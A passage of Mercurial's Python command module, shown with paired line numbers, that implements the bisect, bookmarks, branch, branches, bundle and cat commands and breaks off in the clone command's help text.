1011 1011 ui.warn(_(b"(use of 'hg bisect <cmd>' is deprecated)\n"))
1012 1012 cmd = positional_1
1013 1013 rev.append(positional_2)
1014 1014 if cmd == b"good":
1015 1015 good = True
1016 1016 elif cmd == b"bad":
1017 1017 bad = True
1018 1018 else:
1019 1019 reset = True
1020 1020 elif positional_2:
1021 1021 raise error.InputError(_(b'incompatible arguments'))
1022 1022 elif positional_1 is not None:
1023 1023 rev.append(positional_1)
1024 1024
1025 1025 incompatibles = {
1026 1026 b'--bad': bad,
1027 1027 b'--command': bool(command),
1028 1028 b'--extend': extend,
1029 1029 b'--good': good,
1030 1030 b'--reset': reset,
1031 1031 b'--skip': skip,
1032 1032 }
1033 1033
1034 1034 enabled = [x for x in incompatibles if incompatibles[x]]
1035 1035
1036 1036 if len(enabled) > 1:
1037 1037 raise error.InputError(
1038 1038 _(b'%s and %s are incompatible') % tuple(sorted(enabled)[0:2])
1039 1039 )
1040 1040
1041 1041 if reset:
1042 1042 hbisect.resetstate(repo)
1043 1043 return
1044 1044
1045 1045 state = hbisect.load_state(repo)
1046 1046
1047 1047 if rev:
1048 1048 nodes = [repo[i].node() for i in scmutil.revrange(repo, rev)]
1049 1049 else:
1050 1050 nodes = [repo.lookup(b'.')]
1051 1051
1052 1052 # update state
1053 1053 if good or bad or skip:
1054 1054 if good:
1055 1055 state[b'good'] += nodes
1056 1056 elif bad:
1057 1057 state[b'bad'] += nodes
1058 1058 elif skip:
1059 1059 state[b'skip'] += nodes
1060 1060 hbisect.save_state(repo, state)
1061 1061 if not (state[b'good'] and state[b'bad']):
1062 1062 return
1063 1063
1064 1064 def mayupdate(repo, node, show_stats=True):
1065 1065 """common used update sequence"""
1066 1066 if noupdate:
1067 1067 return
1068 1068 cmdutil.checkunfinished(repo)
1069 1069 cmdutil.bailifchanged(repo)
1070 1070 return hg.clean(repo, node, show_stats=show_stats)
1071 1071
1072 1072 displayer = logcmdutil.changesetdisplayer(ui, repo, {})
1073 1073
1074 1074 if command:
1075 1075 changesets = 1
1076 1076 if noupdate:
1077 1077 try:
1078 1078 node = state[b'current'][0]
1079 1079 except LookupError:
1080 1080 raise error.StateError(
1081 1081 _(
1082 1082 b'current bisect revision is unknown - '
1083 1083 b'start a new bisect to fix'
1084 1084 )
1085 1085 )
1086 1086 else:
1087 1087 node, p2 = repo.dirstate.parents()
1088 1088 if p2 != nullid:
1089 1089 raise error.StateError(_(b'current bisect revision is a merge'))
1090 1090 if rev:
1091 1091 if not nodes:
1092 1092 raise error.Abort(_(b'empty revision set'))
1093 1093 node = repo[nodes[-1]].node()
1094 1094 with hbisect.restore_state(repo, state, node):
1095 1095 while changesets:
1096 1096 # update state
1097 1097 state[b'current'] = [node]
1098 1098 hbisect.save_state(repo, state)
1099 1099 status = ui.system(
1100 1100 command,
1101 1101 environ={b'HG_NODE': hex(node)},
1102 1102 blockedtag=b'bisect_check',
1103 1103 )
1104 1104 if status == 125:
1105 1105 transition = b"skip"
1106 1106 elif status == 0:
1107 1107 transition = b"good"
1108 1108 # status < 0 means process was killed
1109 1109 elif status == 127:
1110 1110 raise error.Abort(_(b"failed to execute %s") % command)
1111 1111 elif status < 0:
1112 1112 raise error.Abort(_(b"%s killed") % command)
1113 1113 else:
1114 1114 transition = b"bad"
1115 1115 state[transition].append(node)
1116 1116 ctx = repo[node]
1117 1117 summary = cmdutil.format_changeset_summary(ui, ctx, b'bisect')
1118 1118 ui.status(_(b'changeset %s: %s\n') % (summary, transition))
1119 1119 hbisect.checkstate(state)
1120 1120 # bisect
1121 1121 nodes, changesets, bgood = hbisect.bisect(repo, state)
1122 1122 # update to next check
1123 1123 node = nodes[0]
1124 1124 mayupdate(repo, node, show_stats=False)
1125 1125 hbisect.printresult(ui, repo, state, displayer, nodes, bgood)
1126 1126 return
1127 1127
1128 1128 hbisect.checkstate(state)
1129 1129
1130 1130 # actually bisect
1131 1131 nodes, changesets, good = hbisect.bisect(repo, state)
1132 1132 if extend:
1133 1133 if not changesets:
1134 1134 extendctx = hbisect.extendrange(repo, state, nodes, good)
1135 1135 if extendctx is not None:
1136 1136 ui.write(
1137 1137 _(b"Extending search to changeset %s\n")
1138 1138 % cmdutil.format_changeset_summary(ui, extendctx, b'bisect')
1139 1139 )
1140 1140 state[b'current'] = [extendctx.node()]
1141 1141 hbisect.save_state(repo, state)
1142 1142 return mayupdate(repo, extendctx.node())
1143 1143 raise error.StateError(_(b"nothing to extend"))
1144 1144
1145 1145 if changesets == 0:
1146 1146 hbisect.printresult(ui, repo, state, displayer, nodes, good)
1147 1147 else:
1148 1148 assert len(nodes) == 1 # only a single node can be tested next
1149 1149 node = nodes[0]
1150 1150 # compute the approximate number of remaining tests
1151 1151 tests, size = 0, 2
1152 1152 while size <= changesets:
1153 1153 tests, size = tests + 1, size * 2
1154 1154 rev = repo.changelog.rev(node)
1155 1155 summary = cmdutil.format_changeset_summary(ui, repo[rev], b'bisect')
1156 1156 ui.write(
1157 1157 _(
1158 1158 b"Testing changeset %s "
1159 1159 b"(%d changesets remaining, ~%d tests)\n"
1160 1160 )
1161 1161 % (summary, changesets, tests)
1162 1162 )
1163 1163 state[b'current'] = [node]
1164 1164 hbisect.save_state(repo, state)
1165 1165 return mayupdate(repo, node)
1166 1166
1167 1167
1168 1168 @command(
1169 1169 b'bookmarks|bookmark',
1170 1170 [
1171 1171 (b'f', b'force', False, _(b'force')),
1172 1172 (b'r', b'rev', b'', _(b'revision for bookmark action'), _(b'REV')),
1173 1173 (b'd', b'delete', False, _(b'delete a given bookmark')),
1174 1174 (b'm', b'rename', b'', _(b'rename a given bookmark'), _(b'OLD')),
1175 1175 (b'i', b'inactive', False, _(b'mark a bookmark inactive')),
1176 1176 (b'l', b'list', False, _(b'list existing bookmarks')),
1177 1177 ]
1178 1178 + formatteropts,
1179 1179 _(b'hg bookmarks [OPTIONS]... [NAME]...'),
1180 1180 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1181 1181 )
1182 1182 def bookmark(ui, repo, *names, **opts):
1183 1183 """create a new bookmark or list existing bookmarks
1184 1184
1185 1185 Bookmarks are labels on changesets to help track lines of development.
1186 1186 Bookmarks are unversioned and can be moved, renamed and deleted.
1187 1187 Deleting or moving a bookmark has no effect on the associated changesets.
1188 1188
1189 1189 Creating or updating to a bookmark causes it to be marked as 'active'.
1190 1190 The active bookmark is indicated with a '*'.
1191 1191 When a commit is made, the active bookmark will advance to the new commit.
1192 1192 A plain :hg:`update` will also advance an active bookmark, if possible.
1193 1193 Updating away from a bookmark will cause it to be deactivated.
1194 1194
1195 1195 Bookmarks can be pushed and pulled between repositories (see
1196 1196 :hg:`help push` and :hg:`help pull`). If a shared bookmark has
1197 1197 diverged, a new 'divergent bookmark' of the form 'name@path' will
1198 1198 be created. Using :hg:`merge` will resolve the divergence.
1199 1199
1200 1200 Specifying bookmark as '.' to -m/-d/-l options is equivalent to specifying
1201 1201 the active bookmark's name.
1202 1202
1203 1203 A bookmark named '@' has the special property that :hg:`clone` will
1204 1204 check it out by default if it exists.
1205 1205
1206 1206 .. container:: verbose
1207 1207
1208 1208 Template:
1209 1209
1210 1210 The following keywords are supported in addition to the common template
1211 1211 keywords and functions such as ``{bookmark}``. See also
1212 1212 :hg:`help templates`.
1213 1213
1214 1214 :active: Boolean. True if the bookmark is active.
1215 1215
1216 1216 Examples:
1217 1217
1218 1218 - create an active bookmark for a new line of development::
1219 1219
1220 1220 hg book new-feature
1221 1221
1222 1222 - create an inactive bookmark as a place marker::
1223 1223
1224 1224 hg book -i reviewed
1225 1225
1226 1226 - create an inactive bookmark on another changeset::
1227 1227
1228 1228 hg book -r .^ tested
1229 1229
1230 1230 - rename bookmark turkey to dinner::
1231 1231
1232 1232 hg book -m turkey dinner
1233 1233
1234 1234 - move the '@' bookmark from another branch::
1235 1235
1236 1236 hg book -f @
1237 1237
1238 1238 - print only the active bookmark name::
1239 1239
1240 1240 hg book -ql .
1241 1241 """
1242 1242 opts = pycompat.byteskwargs(opts)
1243 1243 force = opts.get(b'force')
1244 1244 rev = opts.get(b'rev')
1245 1245 inactive = opts.get(b'inactive') # meaning add/rename to inactive bookmark
1246 1246
1247 1247 action = cmdutil.check_at_most_one_arg(opts, b'delete', b'rename', b'list')
1248 1248 if action:
1249 1249 cmdutil.check_incompatible_arguments(opts, action, [b'rev'])
1250 1250 elif names or rev:
1251 1251 action = b'add'
1252 1252 elif inactive:
1253 1253 action = b'inactive' # meaning deactivate
1254 1254 else:
1255 1255 action = b'list'
1256 1256
1257 1257 cmdutil.check_incompatible_arguments(
1258 1258 opts, b'inactive', [b'delete', b'list']
1259 1259 )
1260 1260 if not names and action in {b'add', b'delete'}:
1261 1261 raise error.InputError(_(b"bookmark name required"))
1262 1262
1263 1263 if action in {b'add', b'delete', b'rename', b'inactive'}:
1264 1264 with repo.wlock(), repo.lock(), repo.transaction(b'bookmark') as tr:
1265 1265 if action == b'delete':
1266 1266 names = pycompat.maplist(repo._bookmarks.expandname, names)
1267 1267 bookmarks.delete(repo, tr, names)
1268 1268 elif action == b'rename':
1269 1269 if not names:
1270 1270 raise error.InputError(_(b"new bookmark name required"))
1271 1271 elif len(names) > 1:
1272 1272 raise error.InputError(
1273 1273 _(b"only one new bookmark name allowed")
1274 1274 )
1275 1275 oldname = repo._bookmarks.expandname(opts[b'rename'])
1276 1276 bookmarks.rename(repo, tr, oldname, names[0], force, inactive)
1277 1277 elif action == b'add':
1278 1278 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
1279 1279 elif action == b'inactive':
1280 1280 if len(repo._bookmarks) == 0:
1281 1281 ui.status(_(b"no bookmarks set\n"))
1282 1282 elif not repo._activebookmark:
1283 1283 ui.status(_(b"no active bookmark\n"))
1284 1284 else:
1285 1285 bookmarks.deactivate(repo)
1286 1286 elif action == b'list':
1287 1287 names = pycompat.maplist(repo._bookmarks.expandname, names)
1288 1288 with ui.formatter(b'bookmarks', opts) as fm:
1289 1289 bookmarks.printbookmarks(ui, repo, fm, names)
1290 1290 else:
1291 1291 raise error.ProgrammingError(b'invalid action: %s' % action)
1292 1292
1293 1293
1294 1294 @command(
1295 1295 b'branch',
1296 1296 [
1297 1297 (
1298 1298 b'f',
1299 1299 b'force',
1300 1300 None,
1301 1301 _(b'set branch name even if it shadows an existing branch'),
1302 1302 ),
1303 1303 (b'C', b'clean', None, _(b'reset branch name to parent branch name')),
1304 1304 (
1305 1305 b'r',
1306 1306 b'rev',
1307 1307 [],
1308 1308 _(b'change branches of the given revs (EXPERIMENTAL)'),
1309 1309 ),
1310 1310 ],
1311 1311 _(b'[-fC] [NAME]'),
1312 1312 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1313 1313 )
1314 1314 def branch(ui, repo, label=None, **opts):
1315 1315 """set or show the current branch name
1316 1316
1317 1317 .. note::
1318 1318
1319 1319 Branch names are permanent and global. Use :hg:`bookmark` to create a
1320 1320 light-weight bookmark instead. See :hg:`help glossary` for more
1321 1321 information about named branches and bookmarks.
1322 1322
1323 1323 With no argument, show the current branch name. With one argument,
1324 1324 set the working directory branch name (the branch will not exist
1325 1325 in the repository until the next commit). Standard practice
1326 1326 recommends that primary development take place on the 'default'
1327 1327 branch.
1328 1328
1329 1329 Unless -f/--force is specified, branch will not let you set a
1330 1330 branch name that already exists.
1331 1331
1332 1332 Use -C/--clean to reset the working directory branch to that of
1333 1333 the parent of the working directory, negating a previous branch
1334 1334 change.
1335 1335
1336 1336 Use the command :hg:`update` to switch to an existing branch. Use
1337 1337 :hg:`commit --close-branch` to mark this branch head as closed.
1338 1338 When all heads of a branch are closed, the branch will be
1339 1339 considered closed.
1340 1340
1341 1341 Returns 0 on success.
1342 1342 """
1343 1343 opts = pycompat.byteskwargs(opts)
1344 1344 revs = opts.get(b'rev')
1345 1345 if label:
1346 1346 label = label.strip()
1347 1347
1348 1348 if not opts.get(b'clean') and not label:
1349 1349 if revs:
1350 1350 raise error.InputError(
1351 1351 _(b"no branch name specified for the revisions")
1352 1352 )
1353 1353 ui.write(b"%s\n" % repo.dirstate.branch())
1354 1354 return
1355 1355
1356 1356 with repo.wlock():
1357 1357 if opts.get(b'clean'):
1358 1358 label = repo[b'.'].branch()
1359 1359 repo.dirstate.setbranch(label)
1360 1360 ui.status(_(b'reset working directory to branch %s\n') % label)
1361 1361 elif label:
1362 1362
1363 1363 scmutil.checknewlabel(repo, label, b'branch')
1364 1364 if revs:
1365 1365 return cmdutil.changebranch(ui, repo, revs, label, opts)
1366 1366
1367 1367 if not opts.get(b'force') and label in repo.branchmap():
1368 1368 if label not in [p.branch() for p in repo[None].parents()]:
1369 1369 raise error.InputError(
1370 1370 _(b'a branch of the same name already exists'),
1371 1371 # i18n: "it" refers to an existing branch
1372 1372 hint=_(b"use 'hg update' to switch to it"),
1373 1373 )
1374 1374
1375 1375 repo.dirstate.setbranch(label)
1376 1376 ui.status(_(b'marked working directory as branch %s\n') % label)
1377 1377
1378 1378 # find any open named branches aside from default
1379 1379 for n, h, t, c in repo.branchmap().iterbranches():
1380 1380 if n != b"default" and not c:
1381 1381 return 0
1382 1382 ui.status(
1383 1383 _(
1384 1384 b'(branches are permanent and global, '
1385 1385 b'did you want a bookmark?)\n'
1386 1386 )
1387 1387 )
1388 1388
1389 1389
1390 1390 @command(
1391 1391 b'branches',
1392 1392 [
1393 1393 (
1394 1394 b'a',
1395 1395 b'active',
1396 1396 False,
1397 1397 _(b'show only branches that have unmerged heads (DEPRECATED)'),
1398 1398 ),
1399 1399 (b'c', b'closed', False, _(b'show normal and closed branches')),
1400 1400 (b'r', b'rev', [], _(b'show branch name(s) of the given rev')),
1401 1401 ]
1402 1402 + formatteropts,
1403 1403 _(b'[-c]'),
1404 1404 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1405 1405 intents={INTENT_READONLY},
1406 1406 )
1407 1407 def branches(ui, repo, active=False, closed=False, **opts):
1408 1408 """list repository named branches
1409 1409
1410 1410 List the repository's named branches, indicating which ones are
1411 1411 inactive. If -c/--closed is specified, also list branches which have
1412 1412 been marked closed (see :hg:`commit --close-branch`).
1413 1413
1414 1414 Use the command :hg:`update` to switch to an existing branch.
1415 1415
1416 1416 .. container:: verbose
1417 1417
1418 1418 Template:
1419 1419
1420 1420 The following keywords are supported in addition to the common template
1421 1421 keywords and functions such as ``{branch}``. See also
1422 1422 :hg:`help templates`.
1423 1423
1424 1424 :active: Boolean. True if the branch is active.
1425 1425 :closed: Boolean. True if the branch is closed.
1426 1426 :current: Boolean. True if it is the current branch.
1427 1427
1428 1428 Returns 0.
1429 1429 """
1430 1430
1431 1431 opts = pycompat.byteskwargs(opts)
1432 1432 revs = opts.get(b'rev')
1433 1433 selectedbranches = None
1434 1434 if revs:
1435 1435 revs = scmutil.revrange(repo, revs)
1436 1436 getbi = repo.revbranchcache().branchinfo
1437 1437 selectedbranches = {getbi(r)[0] for r in revs}
1438 1438
1439 1439 ui.pager(b'branches')
1440 1440 fm = ui.formatter(b'branches', opts)
1441 1441 hexfunc = fm.hexfunc
1442 1442
1443 1443 allheads = set(repo.heads())
1444 1444 branches = []
1445 1445 for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
1446 1446 if selectedbranches is not None and tag not in selectedbranches:
1447 1447 continue
1448 1448 isactive = False
1449 1449 if not isclosed:
1450 1450 openheads = set(repo.branchmap().iteropen(heads))
1451 1451 isactive = bool(openheads & allheads)
1452 1452 branches.append((tag, repo[tip], isactive, not isclosed))
1453 1453 branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]), reverse=True)
1454 1454
1455 1455 for tag, ctx, isactive, isopen in branches:
1456 1456 if active and not isactive:
1457 1457 continue
1458 1458 if isactive:
1459 1459 label = b'branches.active'
1460 1460 notice = b''
1461 1461 elif not isopen:
1462 1462 if not closed:
1463 1463 continue
1464 1464 label = b'branches.closed'
1465 1465 notice = _(b' (closed)')
1466 1466 else:
1467 1467 label = b'branches.inactive'
1468 1468 notice = _(b' (inactive)')
1469 1469 current = tag == repo.dirstate.branch()
1470 1470 if current:
1471 1471 label = b'branches.current'
1472 1472
1473 1473 fm.startitem()
1474 1474 fm.write(b'branch', b'%s', tag, label=label)
1475 1475 rev = ctx.rev()
1476 1476 padsize = max(31 - len(b"%d" % rev) - encoding.colwidth(tag), 0)
1477 1477 fmt = b' ' * padsize + b' %d:%s'
1478 1478 fm.condwrite(
1479 1479 not ui.quiet,
1480 1480 b'rev node',
1481 1481 fmt,
1482 1482 rev,
1483 1483 hexfunc(ctx.node()),
1484 1484 label=b'log.changeset changeset.%s' % ctx.phasestr(),
1485 1485 )
1486 1486 fm.context(ctx=ctx)
1487 1487 fm.data(active=isactive, closed=not isopen, current=current)
1488 1488 if not ui.quiet:
1489 1489 fm.plain(notice)
1490 1490 fm.plain(b'\n')
1491 1491 fm.end()
1492 1492
1493 1493
1494 1494 @command(
1495 1495 b'bundle',
1496 1496 [
1497 1497 (
1498 1498 b'f',
1499 1499 b'force',
1500 1500 None,
1501 1501 _(b'run even when the destination is unrelated'),
1502 1502 ),
1503 1503 (
1504 1504 b'r',
1505 1505 b'rev',
1506 1506 [],
1507 1507 _(b'a changeset intended to be added to the destination'),
1508 1508 _(b'REV'),
1509 1509 ),
1510 1510 (
1511 1511 b'b',
1512 1512 b'branch',
1513 1513 [],
1514 1514 _(b'a specific branch you would like to bundle'),
1515 1515 _(b'BRANCH'),
1516 1516 ),
1517 1517 (
1518 1518 b'',
1519 1519 b'base',
1520 1520 [],
1521 1521 _(b'a base changeset assumed to be available at the destination'),
1522 1522 _(b'REV'),
1523 1523 ),
1524 1524 (b'a', b'all', None, _(b'bundle all changesets in the repository')),
1525 1525 (
1526 1526 b't',
1527 1527 b'type',
1528 1528 b'bzip2',
1529 1529 _(b'bundle compression type to use'),
1530 1530 _(b'TYPE'),
1531 1531 ),
1532 1532 ]
1533 1533 + remoteopts,
1534 1534 _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]'),
1535 1535 helpcategory=command.CATEGORY_IMPORT_EXPORT,
1536 1536 )
1537 1537 def bundle(ui, repo, fname, dest=None, **opts):
1538 1538 """create a bundle file
1539 1539
1540 1540 Generate a bundle file containing data to be transferred to another
1541 1541 repository.
1542 1542
1543 1543 To create a bundle containing all changesets, use -a/--all
1544 1544 (or --base null). Otherwise, hg assumes the destination will have
1545 1545 all the nodes you specify with --base parameters. Otherwise, hg
1546 1546 will assume the repository has all the nodes in destination, or
1547 1547 default-push/default if no destination is specified, where destination
1548 1548 is the repository you provide through DEST option.
1549 1549
1550 1550 You can change bundle format with the -t/--type option. See
1551 1551 :hg:`help bundlespec` for documentation on this format. By default,
1552 1552 the most appropriate format is used and compression defaults to
1553 1553 bzip2.
1554 1554
1555 1555 The bundle file can then be transferred using conventional means
1556 1556 and applied to another repository with the unbundle or pull
1557 1557 command. This is useful when direct push and pull are not
1558 1558 available or when exporting an entire repository is undesirable.
1559 1559
1560 1560 Applying bundles preserves all changeset contents including
1561 1561 permissions, copy/rename information, and revision history.
1562 1562
1563 1563 Returns 0 on success, 1 if no changes found.
1564 1564 """
1565 1565 opts = pycompat.byteskwargs(opts)
1566 1566 revs = None
1567 1567 if b'rev' in opts:
1568 1568 revstrings = opts[b'rev']
1569 1569 revs = scmutil.revrange(repo, revstrings)
1570 1570 if revstrings and not revs:
1571 1571 raise error.InputError(_(b'no commits to bundle'))
1572 1572
1573 1573 bundletype = opts.get(b'type', b'bzip2').lower()
1574 1574 try:
1575 1575 bundlespec = bundlecaches.parsebundlespec(
1576 1576 repo, bundletype, strict=False
1577 1577 )
1578 1578 except error.UnsupportedBundleSpecification as e:
1579 1579 raise error.InputError(
1580 1580 pycompat.bytestr(e),
1581 1581 hint=_(b"see 'hg help bundlespec' for supported values for --type"),
1582 1582 )
1583 1583 cgversion = bundlespec.contentopts[b"cg.version"]
1584 1584
1585 1585 # Packed bundles are a pseudo bundle format for now.
1586 1586 if cgversion == b's1':
1587 1587 raise error.InputError(
1588 1588 _(b'packed bundles cannot be produced by "hg bundle"'),
1589 1589 hint=_(b"use 'hg debugcreatestreamclonebundle'"),
1590 1590 )
1591 1591
1592 1592 if opts.get(b'all'):
1593 1593 if dest:
1594 1594 raise error.InputError(
1595 1595 _(b"--all is incompatible with specifying a destination")
1596 1596 )
1597 1597 if opts.get(b'base'):
1598 1598 ui.warn(_(b"ignoring --base because --all was specified\n"))
1599 1599 base = [nullrev]
1600 1600 else:
1601 1601 base = scmutil.revrange(repo, opts.get(b'base'))
1602 1602 if cgversion not in changegroup.supportedoutgoingversions(repo):
1603 1603 raise error.Abort(
1604 1604 _(b"repository does not support bundle version %s") % cgversion
1605 1605 )
1606 1606
1607 1607 if base:
1608 1608 if dest:
1609 1609 raise error.InputError(
1610 1610 _(b"--base is incompatible with specifying a destination")
1611 1611 )
1612 1612 common = [repo[rev].node() for rev in base]
1613 1613 heads = [repo[r].node() for r in revs] if revs else None
1614 1614 outgoing = discovery.outgoing(repo, common, heads)
1615 1615 else:
1616 1616 dest = ui.expandpath(dest or b'default-push', dest or b'default')
1617 1617 dest, branches = urlutil.parseurl(dest, opts.get(b'branch'))
1618 1618 other = hg.peer(repo, opts, dest)
1619 1619 revs = [repo[r].hex() for r in revs]
1620 1620 revs, checkout = hg.addbranchrevs(repo, repo, branches, revs)
1621 1621 heads = revs and pycompat.maplist(repo.lookup, revs) or revs
1622 1622 outgoing = discovery.findcommonoutgoing(
1623 1623 repo,
1624 1624 other,
1625 1625 onlyheads=heads,
1626 1626 force=opts.get(b'force'),
1627 1627 portable=True,
1628 1628 )
1629 1629
1630 1630 if not outgoing.missing:
1631 1631 scmutil.nochangesfound(ui, repo, not base and outgoing.excluded)
1632 1632 return 1
1633 1633
1634 1634 if cgversion == b'01': # bundle1
1635 1635 bversion = b'HG10' + bundlespec.wirecompression
1636 1636 bcompression = None
1637 1637 elif cgversion in (b'02', b'03'):
1638 1638 bversion = b'HG20'
1639 1639 bcompression = bundlespec.wirecompression
1640 1640 else:
1641 1641 raise error.ProgrammingError(
1642 1642 b'bundle: unexpected changegroup version %s' % cgversion
1643 1643 )
1644 1644
1645 1645 # TODO compression options should be derived from bundlespec parsing.
1646 1646 # This is a temporary hack to allow adjusting bundle compression
1647 1647 # level without a) formalizing the bundlespec changes to declare it
1648 1648 # b) introducing a command flag.
1649 1649 compopts = {}
1650 1650 complevel = ui.configint(
1651 1651 b'experimental', b'bundlecomplevel.' + bundlespec.compression
1652 1652 )
1653 1653 if complevel is None:
1654 1654 complevel = ui.configint(b'experimental', b'bundlecomplevel')
1655 1655 if complevel is not None:
1656 1656 compopts[b'level'] = complevel
1657 1657
1658 1658 compthreads = ui.configint(
1659 1659 b'experimental', b'bundlecompthreads.' + bundlespec.compression
1660 1660 )
1661 1661 if compthreads is None:
1662 1662 compthreads = ui.configint(b'experimental', b'bundlecompthreads')
1663 1663 if compthreads is not None:
1664 1664 compopts[b'threads'] = compthreads
1665 1665
1666 1666 # Bundling of obsmarker and phases is optional as not all clients
1667 1667 # support the necessary features.
1668 1668 cfg = ui.configbool
1669 1669 contentopts = {
1670 1670 b'obsolescence': cfg(b'experimental', b'evolution.bundle-obsmarker'),
1671 1671 b'obsolescence-mandatory': cfg(
1672 1672 b'experimental', b'evolution.bundle-obsmarker:mandatory'
1673 1673 ),
1674 1674 b'phases': cfg(b'experimental', b'bundle-phases'),
1675 1675 }
1676 1676 bundlespec.contentopts.update(contentopts)
1677 1677
1678 1678 bundle2.writenewbundle(
1679 1679 ui,
1680 1680 repo,
1681 1681 b'bundle',
1682 1682 fname,
1683 1683 bversion,
1684 1684 outgoing,
1685 1685 bundlespec.contentopts,
1686 1686 compression=bcompression,
1687 1687 compopts=compopts,
1688 1688 )
1689 1689
1690 1690
1691 1691 @command(
1692 1692 b'cat',
1693 1693 [
1694 1694 (
1695 1695 b'o',
1696 1696 b'output',
1697 1697 b'',
1698 1698 _(b'print output to file with formatted name'),
1699 1699 _(b'FORMAT'),
1700 1700 ),
1701 1701 (b'r', b'rev', b'', _(b'print the given revision'), _(b'REV')),
1702 1702 (b'', b'decode', None, _(b'apply any matching decode filter')),
1703 1703 ]
1704 1704 + walkopts
1705 1705 + formatteropts,
1706 1706 _(b'[OPTION]... FILE...'),
1707 1707 helpcategory=command.CATEGORY_FILE_CONTENTS,
1708 1708 inferrepo=True,
1709 1709 intents={INTENT_READONLY},
1710 1710 )
1711 1711 def cat(ui, repo, file1, *pats, **opts):
1712 1712 """output the current or given revision of files
1713 1713
1714 1714 Print the specified files as they were at the given revision. If
1715 1715 no revision is given, the parent of the working directory is used.
1716 1716
1717 1717 Output may be to a file, in which case the name of the file is
1718 1718 given using a template string. See :hg:`help templates`. In addition
1719 1719 to the common template keywords, the following formatting rules are
1720 1720 supported:
1721 1721
1722 1722 :``%%``: literal "%" character
1723 1723 :``%s``: basename of file being printed
1724 1724 :``%d``: dirname of file being printed, or '.' if in repository root
1725 1725 :``%p``: root-relative path name of file being printed
1726 1726 :``%H``: changeset hash (40 hexadecimal digits)
1727 1727 :``%R``: changeset revision number
1728 1728 :``%h``: short-form changeset hash (12 hexadecimal digits)
1729 1729 :``%r``: zero-padded changeset revision number
1730 1730 :``%b``: basename of the exporting repository
1731 1731 :``\\``: literal "\\" character
1732 1732
1733 1733 .. container:: verbose
1734 1734
1735 1735 Template:
1736 1736
1737 1737 The following keywords are supported in addition to the common template
1738 1738 keywords and functions. See also :hg:`help templates`.
1739 1739
1740 1740 :data: String. File content.
1741 1741 :path: String. Repository-absolute path of the file.
1742 1742
1743 1743 Returns 0 on success.
1744 1744 """
1745 1745 opts = pycompat.byteskwargs(opts)
1746 1746 rev = opts.get(b'rev')
1747 1747 if rev:
1748 1748 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1749 1749 ctx = scmutil.revsingle(repo, rev)
1750 1750 m = scmutil.match(ctx, (file1,) + pats, opts)
1751 1751 fntemplate = opts.pop(b'output', b'')
1752 1752 if cmdutil.isstdiofilename(fntemplate):
1753 1753 fntemplate = b''
1754 1754
1755 1755 if fntemplate:
1756 1756 fm = formatter.nullformatter(ui, b'cat', opts)
1757 1757 else:
1758 1758 ui.pager(b'cat')
1759 1759 fm = ui.formatter(b'cat', opts)
1760 1760 with fm:
1761 1761 return cmdutil.cat(
1762 1762 ui, repo, ctx, m, fm, fntemplate, b'', **pycompat.strkwargs(opts)
1763 1763 )
1764 1764
1765 1765
1766 1766 @command(
1767 1767 b'clone',
1768 1768 [
1769 1769 (
1770 1770 b'U',
1771 1771 b'noupdate',
1772 1772 None,
1773 1773 _(
1774 1774 b'the clone will include an empty working '
1775 1775 b'directory (only a repository)'
1776 1776 ),
1777 1777 ),
1778 1778 (
1779 1779 b'u',
1780 1780 b'updaterev',
1781 1781 b'',
1782 1782 _(b'revision, tag, or branch to check out'),
1783 1783 _(b'REV'),
1784 1784 ),
1785 1785 (
1786 1786 b'r',
1787 1787 b'rev',
1788 1788 [],
1789 1789 _(
1790 1790 b'do not clone everything, but include this changeset'
1791 1791 b' and its ancestors'
1792 1792 ),
1793 1793 _(b'REV'),
1794 1794 ),
1795 1795 (
1796 1796 b'b',
1797 1797 b'branch',
1798 1798 [],
1799 1799 _(
1800 1800 b'do not clone everything, but include this branch\'s'
1801 1801 b' changesets and their ancestors'
1802 1802 ),
1803 1803 _(b'BRANCH'),
1804 1804 ),
1805 1805 (b'', b'pull', None, _(b'use pull protocol to copy metadata')),
1806 1806 (b'', b'uncompressed', None, _(b'an alias to --stream (DEPRECATED)')),
1807 1807 (b'', b'stream', None, _(b'clone with minimal data processing')),
1808 1808 ]
1809 1809 + remoteopts,
1810 1810 _(b'[OPTION]... SOURCE [DEST]'),
1811 1811 helpcategory=command.CATEGORY_REPO_CREATION,
1812 1812 helpbasic=True,
1813 1813 norepo=True,
1814 1814 )
1815 1815 def clone(ui, source, dest=None, **opts):
1816 1816 """make a copy of an existing repository
1817 1817
1818 1818 Create a copy of an existing repository in a new directory.
1819 1819
1820 1820 If no destination directory name is specified, it defaults to the
1821 1821 basename of the source.
1822 1822
1823 1823 The location of the source is added to the new repository's
1824 1824 ``.hg/hgrc`` file, as the default to be used for future pulls.
1825 1825
1826 1826 Only local paths and ``ssh://`` URLs are supported as
1827 1827 destinations. For ``ssh://`` destinations, no working directory or
1828 1828 ``.hg/hgrc`` will be created on the remote side.
1829 1829
1830 1830 If the source repository has a bookmark called '@' set, that
1831 1831 revision will be checked out in the new repository by default.
1832 1832
1833 1833 To check out a particular version, use -u/--update, or
1834 1834 -U/--noupdate to create a clone with no working directory.
1835 1835
1836 1836 To pull only a subset of changesets, specify one or more revisions
1837 1837 identifiers with -r/--rev or branches with -b/--branch. The
1838 1838 resulting clone will contain only the specified changesets and
1839 1839 their ancestors. These options (or 'clone src#rev dest') imply
1840 1840 --pull, even for local source repositories.
1841 1841
1842 1842 In normal clone mode, the remote normalizes repository data into a common
1843 1843 exchange format and the receiving end translates this data into its local
1844 1844 storage format. --stream activates a different clone mode that essentially
1845 1845 copies repository files from the remote with minimal data processing. This
1846 1846 significantly reduces the CPU cost of a clone both remotely and locally.
1847 1847 However, it often increases the transferred data size by 30-40%. This can
1848 1848 result in substantially faster clones where I/O throughput is plentiful,
1849 1849 especially for larger repositories. A side-effect of --stream clones is
1850 1850 that storage settings and requirements on the remote are applied locally:
1851 1851 a modern client may inherit legacy or inefficient storage used by the
1852 1852 remote or a legacy Mercurial client may not be able to clone from a
1853 1853 modern Mercurial remote.
1854 1854
1855 1855 .. note::
1856 1856
1857 1857 Specifying a tag will include the tagged changeset but not the
1858 1858 changeset containing the tag.
1859 1859
1860 1860 .. container:: verbose
1861 1861
